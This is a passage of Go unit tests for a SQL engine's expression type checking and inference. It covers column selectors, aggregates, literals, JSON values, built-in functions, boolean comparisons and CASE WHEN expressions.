ValueExp\n\t\tcols          map[string]ColDescriptor\n\t\tparams        map[string]SQLValueType\n\t\timplicitTable string\n\t\trequiredType  SQLValueType\n\t\texpectedError error\n\t}{\n\t\t{\n\t\t\texp:           &ColSelector{table: \"mytable\", col: \"id\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &ColSelector{table: \"mytable\", col: \"id1\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrColumnDoesNotExist,\n\t\t},\n\t\t{\n\t\t\texp:           &ColSelector{table: \"mytable\", col: \"id\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &ColSelector{table: \"mytable\", col: \"ts\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  TimestampType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &ColSelector{table: \"mytable\", col: \"ts\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &AggColSelector{aggFn: \"COUNT\", table: \"mytable\", col: \"*\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &AggColSelector{aggFn: \"COUNT\", table: \"mytable\", col: \"*\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &AggColSelector{aggFn: \"MIN\", table: \"mytable\", col: \"title\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &AggColSelector{aggFn: \"MIN\", table: \"mytable\", col: \"title1\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: ErrColumnDoesNotExist,\n\t\t},\n\t\t{\n\t\t\texp:           &AggColSelector{aggFn: \"SUM\", table: \"mytable\", col: \"id\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &AggColSelector{aggFn: \"SUM\", table: \"mytable\", col: \"title\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &AggColSelector{aggFn: \"SUM\", table: \"mytable\", col: \"ft\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  Float64Type,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &AggColSelector{aggFn: \"SUM\", table: \"mytable\", col: \"ft\"},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\terr := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable)\n\t\trequire.ErrorIs(t, err, tc.expectedError, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\tit, err := tc.exp.inferType(tc.cols, params, tc.implicitTable)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, tc.requiredType, it)\n\t\t}\n\t}\n}\n\nfunc TestRequiresTypeNumExpValueExp(t *testing.T) {\n\tcols := make(map[string]ColDescriptor)\n\tcols[\"(mytable.id)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.title)\"] = ColDescriptor{Type: VarcharType}\n\tcols[\"(mytable.active)\"] = ColDescriptor{Type: BooleanType}\n\tcols[\"(mytable.payload)\"] = ColDescriptor{Type: BLOBType}\n\tcols[\"COUNT(mytable.*)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.ft)\"] = ColDescriptor{Type: Float64Type}\n\n\tparams := make(map[string]SQLValueType)\n\n\ttestCases := []struct {\n\t\texp           ValueExp\n\t\tcols          map[string]ColDescriptor\n\t\tparams        map[string]SQLValueType\n\t\timplicitTable string\n\t\trequiredType  SQLValueType\n\t\texpectedError error\n\t}{\n\t\t{\n\t\t\texp:           &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Integer{val: 0}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Integer{val: 0}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &NumExp{op: ADDOP, left: &Bool{val: true}, right: &Integer{val: 0}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Bool{val: true}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Bool{val: true}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  Float64Type,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &UUID{val: uuid.New()},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  UUIDType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &UUID{val: uuid.New()},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  Float64Type,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\terr := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable)\n\t\trequire.ErrorIs(t, err, tc.expectedError, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\tit, err := tc.exp.inferType(tc.cols, params, tc.implicitTable)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, tc.requiredType, it)\n\t\t}\n\t}\n}\n\nfunc TestRequiresTypeSimpleValueExp(t *testing.T) {\n\tcols := make(map[string]ColDescriptor)\n\tcols[\"(mytable.id)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.title)\"] = ColDescriptor{Type: VarcharType}\n\tcols[\"(mytable.active)\"] = ColDescriptor{Type: BooleanType}\n\tcols[\"(mytable.payload)\"] = ColDescriptor{Type: BLOBType}\n\tcols[\"COUNT(mytable.*)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.ft)\"] = ColDescriptor{Type: Float64Type}\n\tcols[\"(mytable.data)\"] = ColDescriptor{Type: JSONType}\n\n\tparams := make(map[string]SQLValueType)\n\n\ttestCases := []struct {\n\t\texp                  ValueExp\n\t\tcols                 map[string]ColDescriptor\n\t\tparams               map[string]SQLValueType\n\t\timplicitTable        string\n\t\trequiredType         SQLValueType\n\t\texpectedInferredType SQLValueType\n\t\texpectedError        error\n\t}{\n\t\t{\n\t\t\texp:           &NullValue{t: AnyType},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &NullValue{t: VarcharType},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &NullValue{t: BooleanType},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &Integer{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &Integer{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:                  &Integer{},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\trequiredType:         JSONType,\n\t\t\texpectedInferredType: IntegerType,\n\t\t\texpectedError:        nil,\n\t\t},\n\t\t{\n\t\t\texp:           &Varchar{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:                  &Varchar{},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\trequiredType:         JSONType,\n\t\t\texpectedInferredType: VarcharType,\n\t\t\texpectedError:        nil,\n\t\t},\n\t\t{\n\t\t\texp:           &Varchar{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &Bool{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:                  &Bool{},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\trequiredType:         JSONType,\n\t\t\texpectedInferredType: BooleanType,\n\t\t\texpectedError:        nil,\n\t\t},\n\t\t{\n\t\t\texp:           &Bool{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &Blob{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BLOBType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &Blob{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &JSON{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\trequiredType:  JSONType,\n\t\t\timplicitTable: \"mytable\",\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:                  &JSON{val: \"some-string\"},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\trequiredType:         VarcharType,\n\t\t\texpectedInferredType: JSONType,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\texpectedError:        nil,\n\t\t},\n\t\t{\n\t\t\texp:                  &JSON{val: int64(10)},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\trequiredType:         Float64Type,\n\t\t\texpectedInferredType: JSONType,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\texpectedError:        nil,\n\t\t},\n\t\t{\n\t\t\texp:                  &JSON{val: float64(10.5)},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\trequiredType:         IntegerType,\n\t\t\texpectedInferredType: JSONType,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\texpectedError:        ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:                  &JSON{val: true},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\trequiredType:         BooleanType,\n\t\t\texpectedInferredType: JSONType,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\texpectedError:        nil,\n\t\t},\n\t\t{\n\t\t\texp:                  &JSON{val: nil},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\trequiredType:         AnyType,\n\t\t\texpectedInferredType: JSONType,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\texpectedError:        nil,\n\t\t},\n\t\t{\n\t\t\texp:                  &JSON{val: int64(10)},\n\t\t\tcols:                 cols,\n\t\t\tparams:               params,\n\t\t\trequiredType:         IntegerType,\n\t\t\texpectedInferredType: JSONType,\n\t\t\timplicitTable:        \"mytable\",\n\t\t\texpectedError:        nil,\n\t\t},\n\t\t{\n\t\t\texp:           &NotBoolExp{exp: &Bool{val: true}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &NotBoolExp{exp: &Bool{val: true}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &NotBoolExp{exp: &Varchar{val: \"abc\"}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &LikeBoolExp{val: &ColSelector{col: \"col1\"}, pattern: &Varchar{val: \"\"}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &LikeBoolExp{val: &ColSelector{col: \"col1\"}, pattern: &Varchar{val: \"\"}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &LikeBoolExp{},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: ErrInvalidCondition,\n\t\t},\n\t\t{\n\t\t\texp:           &LikeBoolExp{val: &ColSelector{col: \"ft\"}, pattern: &Varchar{val: \"\"}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  Float64Type,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\terr := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable)\n\t\trequire.ErrorIs(t, err, tc.expectedError, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\texpectedInferredType := tc.expectedInferredType\n\t\t\tif expectedInferredType == \"\" {\n\t\t\t\texpectedInferredType = tc.requiredType\n\t\t\t}\n\n\t\t\tit, err := tc.exp.inferType(tc.cols, params, tc.implicitTable)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, expectedInferredType, it)\n\t\t}\n\t}\n}\n\nfunc TestRequiresTypeSysFnValueExp(t *testing.T) {\n\tcols := make(map[string]ColDescriptor)\n\tcols[\"(mytable.id)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.title)\"] = ColDescriptor{Type: VarcharType}\n\tcols[\"(mytable.active)\"] = ColDescriptor{Type: BooleanType}\n\tcols[\"(mytable.payload)\"] = ColDescriptor{Type: BLOBType}\n\tcols[\"COUNT(mytable.*)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.ft)\"] = ColDescriptor{Type: Float64Type}\n\n\tparams := make(map[string]SQLValueType)\n\n\ttestCases := []struct {\n\t\texp           ValueExp\n\t\tcols          map[string]ColDescriptor\n\t\tparams        map[string]SQLValueType\n\t\timplicitTable string\n\t\trequiredType  SQLValueType\n\t\texpectedError error\n\t}{\n\t\t{\n\t\t\texp:           &FnCall{fn: NowFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  TimestampType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: NowFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: LengthFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: LengthFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: SubstringFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: SubstringFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: ConcatFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: ConcatFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: TrimFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: TrimFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: UpperFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: LowerFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: LowerFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  Float64Type,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: JSONTypeOfFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: JSONTypeOfFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: UUIDFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  UUIDType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &FnCall{fn: UUIDFnCall},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  VarcharType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\terr := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable)\n\t\trequire.ErrorIs(t, err, tc.expectedError, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\tit, err := tc.exp.inferType(tc.cols, params, tc.implicitTable)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, tc.requiredType, it)\n\t\t}\n\t}\n}\n\nfunc TestRequiresTypeBinValueExp(t *testing.T) {\n\tcols := make(map[string]ColDescriptor)\n\tcols[\"(mytable.id)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.title)\"] = ColDescriptor{Type: VarcharType}\n\tcols[\"(mytable.active)\"] = ColDescriptor{Type: BooleanType}\n\tcols[\"(mytable.payload)\"] = ColDescriptor{Type: BLOBType}\n\tcols[\"COUNT(mytable.*)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.ft)\"] = ColDescriptor{Type: Float64Type}\n\n\tparams := make(map[string]SQLValueType)\n\n\ttestCases := []struct {\n\t\texp           ValueExp\n\t\tcols          map[string]ColDescriptor\n\t\tparams        map[string]SQLValueType\n\t\timplicitTable string\n\t\trequiredType  SQLValueType\n\t\texpectedError error\n\t}{\n\t\t{\n\t\t\texp:           &BinBoolExp{op: And, left: &Bool{val: true}, right: &Bool{val: false}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &BinBoolExp{op: And, left: &Bool{val: true}, right: &Bool{val: false}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &BinBoolExp{op: And, left: &Integer{val: 1}, right: &Bool{val: false}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &BinBoolExp{op: And, left: &Bool{val: false}, right: &Integer{val: 1}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Integer{val: 1}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\texp:           &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Integer{val: 1}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  IntegerType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Bool{val: false}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t\t{\n\t\t\texp:           &CmpBoolExp{op: LE, left: &Bool{val: false}, right: &Integer{val: 1}},\n\t\t\tcols:          cols,\n\t\t\tparams:        params,\n\t\t\timplicitTable: \"mytable\",\n\t\t\trequiredType:  BooleanType,\n\t\t\texpectedError: ErrInvalidTypes,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\terr := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable)\n\t\trequire.ErrorIs(t, err, tc.expectedError, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\tit, err := tc.exp.inferType(tc.cols, params, tc.implicitTable)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, tc.requiredType, it)\n\t\t}\n\t}\n}\n\nfunc TestYetUnsupportedExistsBoolExp(t *testing.T) {\n\texp := &ExistsBoolExp{}\n\n\t_, err := exp.inferType(nil, nil, \"\")\n\trequire.Error(t, err)\n\n\terr = exp.requiresType(BooleanType, nil, nil, \"\")\n\trequire.Error(t, err)\n\n\trexp, err := exp.substitute(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, exp, rexp)\n\n\t_, err = exp.reduce(nil, nil, \"\")\n\trequire.Error(t, err)\n\n\trequire.Equal(t, exp, exp.reduceSelectors(nil, \"\"))\n\n\trequire.False(t, exp.isConstant())\n\n\trequire.Nil(t, exp.selectorRanges(nil, \"\", nil, nil))\n}\n\nfunc TestYetUnsupportedInSubQueryExp(t *testing.T) {\n\texp := &InSubQueryExp{}\n\n\t_, err := exp.inferType(nil, nil, \"\")\n\trequire.ErrorIs(t, err, ErrNoSupported)\n\n\terr = exp.requiresType(BooleanType, nil, nil, \"\")\n\trequire.ErrorIs(t, err, ErrNoSupported)\n\n\trexp, err := exp.substitute(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, exp, rexp)\n\n\t_, err = exp.reduce(nil, nil, \"\")\n\trequire.ErrorIs(t, err, ErrNoSupported)\n\n\trequire.Equal(t, exp, exp.reduceSelectors(nil, \"\"))\n\n\trequire.False(t, exp.isConstant())\n\n\trequire.Nil(t, exp.selectorRanges(nil, \"\", nil, nil))\n}\n\nfunc TestCaseWhenExp(t *testing.T) {\n\tt.Run(\"simple case\", func(t *testing.T) {\n\t\te, err := ParseExpFromString(\n\t\t\t\"CASE job_title WHEN 1 THEN true ELSE false END\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\terr = e.requiresType(BooleanType, map[string]ColDescriptor{\n\t\t\tEncodeSelector(\"\", \"\", \"job_title\"): {Type: VarcharType},\n\t\t}, nil, \"\")\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\t\trequire.ErrorContains(t, err, \"argument of CASE/WHEN must be of type VARCHAR, not type INTEGER\")\n\n\t\te, err = ParseExpFromString(\n\t\t\t\"CASE concat(@prefix, job_title) WHEN 'job_engineer' THEN true ELSE false END\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\te, err = e.substitute(map[string]interface{}{\"prefix\": \"job_\"})\n\t\trequire.NoError(t, err)\n\n\t\tv, err := e.reduce(nil, &Row{\n\t\t\tValuesBySelector: map[string]TypedValue{\n\t\t\t\tEncodeSelector(\"\", \"\", \"job_title\"): &Varchar{\"engineer\"},\n\t\t\t},\n\t\t}, \"\")\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, v, &Bool{true})\n\t})\n\n\tt.Run(\"searched case\", func(t *testing.T) {\n\t\te, err := ParseExpFromString(\n\t\t\t\"CASE WHEN salary > 100000 THEN @p0 ELSE @p1 END\",\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\te, err = e.substitute(map[string]interface{}{\"p0\": int64(0), \"p1\": int64(1)})\n\t\trequire.NoError(t, err)\n\n\t\terr = e.requiresType(IntegerType, map[string]ColDescriptor{\n\t\t\tEncodeSelector(\"\", \"\", \"salary\"): {Type: 